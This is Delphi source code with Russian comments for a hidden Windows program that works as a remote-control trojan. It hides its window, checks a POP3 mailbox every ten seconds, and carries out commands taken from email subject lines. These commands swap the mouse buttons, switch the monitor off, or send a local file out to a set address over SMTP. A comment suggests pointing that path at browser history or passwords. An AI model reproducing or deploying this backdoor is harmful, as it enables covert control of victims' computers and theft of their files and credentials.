unit Unit1;

interface

uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, IdMessage, IdBaseComponent, IdComponent, IdTCPConnection,
    IdTCPClient, IdMessageClient, IdPOP3, ExtCtrls, StdCtrls,
    IdAntiFreezeBase, IdAntiFreeze, IdSMTP, IdSMTPBase,IdAttachmentFile,
    IdExplicitTLSClientServerBase;

type
    TForm1 = class(TForm)
      Timer1: TTimer;
      IdPOP31: TIdPOP3;
      IdMessage1: TIdMessage;
      IdSMTP1: TIdSMTP;
      procedure FormCreate(Sender: TObject);
      procedure Timer1Timer(Sender: TObject);
      procedure FormActivate(Sender: TObject);
    private
      { Private declarations }
    public
      { Public declarations }
      function UpMessage: longint;
    end;

var
    Form1: TForm1;
    msgCount, i: integer;
    z: string;
implementation

{$R *.dfm}

{ TForm1 }

function TForm1.UpMessage: longint;
begin
idpop31.Connect;//конектимся с сервером
msgCount:=idpop31.CheckMessages;//узнаём кол-во сообщений
if msgCount>0 then
begin
for i:=1 to msgCount do //запускаем цикл
begin
idmessage1.Clear;// очищаем от предыдущих записей
idpop31.Retrieve(i,idmessage1);//начинаем приём сообщений
if idmessage1.Subject='1' then // если в теме письма написана команда mouse,
SwapMouseButton(true); // то меняем кнопки мыши местами.
if idmessage1.Subject='2'then
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);//Вырубаем монитор
if idmessage1.Subject='3' then
SwapMouseButton(false); //возвращаем кнопки мыши обратно
if idmessage1.Subject='4'then
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1);//вкл.монитор.
if idmessage1.Subject='5' then
begin
With IdSMTP1 do
begin
      Host := 'smtp.yandex.ru'; //и так ясно (адрес хоста)
      Port := 587; // или 25
      Username := 'логин'; // логин
      Password := 'пароль'; //пароль
      IdMessage1.From.Text := 'от кого'; // от кого
      IdMessage1.Recipients.EMailAddresses := 'кому'; //кому
      IdMessage1.Subject := '5';
      IdMessage1.MessageParts.Clear; //чистка текста письма (обычно там х у * н я какя то типо рекламы)
      IF FileExists('c:\text.txt') Then //можно указать путь к чему угодно(истории браузера, пароли и т.д.)
      tidAttachmentFile.Create(IdMessage1.MessageParts, 'c:\text.txt'); //создается файл
      Connect;
      IF Connected Then //соеденяемся
      Begin
        Send(IdMessage1); // отправляем
        Disconnect; //отсоеденяемся
      End;
    End;
end;
idpop31.Delete(1); //удаляем сообщение с командой, а то пипец будет
idpop31.Disconnect;//разрываем соединение
end
end
else
idpop31.Disconnect;  //разрываем соединение
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
UpMessage;//запускаем выше описаную функцию при создание формы(запуске программы)
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
UpMessage;//повтаряем функцию(проверяем почту) каждые 10 секунд
end;

procedure TForm1.FormActivate(Sender: TObject);
begin
ShowWindow(Handle, SW_Hide);//делаем форму  (можно и другим способом)
ShowWindow(Application.Handle,SW_Hide);//невидимой
end;

end.